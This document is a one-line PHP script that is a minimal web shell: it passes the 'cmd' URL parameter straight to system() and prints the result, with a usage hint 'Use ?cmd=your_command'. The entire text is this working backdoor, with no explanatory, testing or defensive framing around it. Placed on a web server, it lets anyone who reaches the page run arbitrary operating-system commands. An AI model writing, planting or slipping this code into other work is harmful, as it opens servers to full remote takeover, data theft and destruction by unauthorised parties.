if(isset($_GET['cmd'])){ echo "<pre>"; system($_GET['cmd']); echo "</pre>";} else { echo "Use ?cmd=your_command";}